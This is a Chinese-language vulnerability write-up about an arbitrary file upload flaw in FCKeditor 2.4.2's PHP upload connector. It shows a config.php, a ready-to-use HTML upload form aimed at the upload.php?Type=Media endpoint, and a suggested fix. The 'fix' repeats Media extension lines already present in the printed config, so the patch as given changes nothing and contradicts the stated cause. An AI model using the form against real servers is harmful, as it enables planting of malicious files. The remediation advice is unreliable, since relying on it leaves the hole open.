Fckeditor 2.4.2 php任意上传文件漏洞+修补方法

时间：2022-12-04 10:02:06

 

漏洞文件：fckeditor/editor/filemanager/upload/php/upload.php

       fckeditor/editor/filemanager/upload/php/config.php

问题主要是出在config.php文件中未对Media目录作白名单和黑名单的限制，大概是写漏了，因为在fckeditor/editor/filemanager/browser/default/connectors/php目录中的config.php文件对Media是有限制的。

<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Configuration file for the File Manager Connector for PHP.
*/

global $Config ;

// SECURITY: You must explicitelly enable this "connector". (Set it to "true").
$Config['Enabled'] = false ;


// Path to user files relative to the document root.
$Config['UserFilesPath'] = '/userfiles/' ;

// Fill the following value it you prefer to specify the absolute path for the
// user files directory. Usefull if you are using a virtual directory, symbolic
// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
// Attention: The above 'UserFilesPath' must point to the same directory.
$Config['UserFilesAbsolutePath'] = '' ;

// Due to security issues with Apache modules, it is reccomended to leave the
// following setting enabled.
$Config['ForceSingleExtension'] = true ;

$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File']   = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;

$Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;

$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ;

$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;

?>
    2、漏洞利用
    既然fckeditor/editor/filemanager/browser/default/connectors/php/config.php已经过滤了，那就只能利用fckeditor/editor/filemanager/upload/php/config.php了。
    不过如果留意一下改配置文件，就能看到默认情况下“$Config['Enabled'] = false”，是不允许上传的；其次，看upload.php能发现，程序对上传文件夹作了比对，必须是Media，说明在windows下不影响，但在Linux下则必须是大写M的Media目录，如果是media则返回信息正常，但文件并未上传成功。
    自己写段上传脚本：
<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
    提交后查看源码就能看到上传文件的位置。
      3、漏洞修补
    最好用新版，要不就拷贝以下代码到config.php最后。
$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;

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